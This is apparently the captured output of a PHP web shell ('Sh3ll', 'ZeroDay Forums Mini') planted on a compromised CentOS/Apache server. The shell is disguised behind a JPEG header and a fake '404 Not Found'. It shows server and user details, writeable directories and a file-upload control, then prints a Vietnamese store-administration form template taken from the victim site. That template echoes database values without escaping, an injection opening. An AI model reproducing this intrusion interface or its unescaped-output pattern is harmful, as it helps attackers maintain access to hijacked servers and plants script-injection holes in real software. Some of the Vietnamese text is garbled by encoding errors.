ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /proc/self/root/var/www/html/tien-dien/code/admin/store/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/html/tien-dien/code/admin/store/store_tpl.php
<div class="card">
    <div class="card-header">
        <h3 class="card-title"><?php echo $id > 0 ? 'Cập nhật cửa hàng' : 'Thêm cửa hàng mới'; ?></h3>
    </div>
    <div class="card-body">
        <?php if (isset($error_message)): ?>
            <div class="alert alert-danger"><?php echo $error_message; ?></div>
        <?php endif; ?>
        
        <form action="?act=admin&code=store&type=store<?php echo $id > 0 ? '&id='.$id : ''; ?>" method="post">
            <input type="hidden" name="f[store_id]" value="<?php echo $row_check['store_id']; ?>">

            <div class="form-group">
                <label>Tên cửa hàng <span class="text-danger">*</span></label>
                <input type="text" class="form-control" name="f[store_name]" value="<?php echo $row_check['store_name']; ?>" required>
            </div>

            <div class="form-group">
                <label>Mô tả</label>
                <textarea class="form-control" name="f[store_description]" rows="3"><?php echo $row_check['store_description']; ?></textarea>
            </div>

            <div class="form-group">
                <label>Ngưá»i quản lý</label>
                <select class="form-control" name="f[user_id]">
                    <option value="0">-- Chá»n ngưá»i quản lý --</option>
                    <?php foreach ($users as $user): ?>
                        <option value="<?php echo $user['user_id']; ?>" <?php echo ($user['user_id'] == $row_check['user_id']) ? 'selected' : ''; ?>><?php echo $user['user_key']; ?></option>
                    <?php endforeach; ?>
                </select>
            </div>

            <div class="form-group">
                <div class="form-check">
                    <input type="checkbox" class="form-check-input" id="status" name="f[status]" <?php if ($row_check['status'] == 0) echo 'checked'; ?>>
                    <label class="form-check-label" for="status">Tạm khóa</label>
                </div>
            </div>

            <div class="form-actions">
                <button type="submit" class="btn btn-primary" name="submitbt">Lưu</button>
                <a href="?act=admin&code=store" class="btn btn-default">Há»§y</a>
            </div>
        </form>
    </div>
</div>

ZeroDay Forums Mini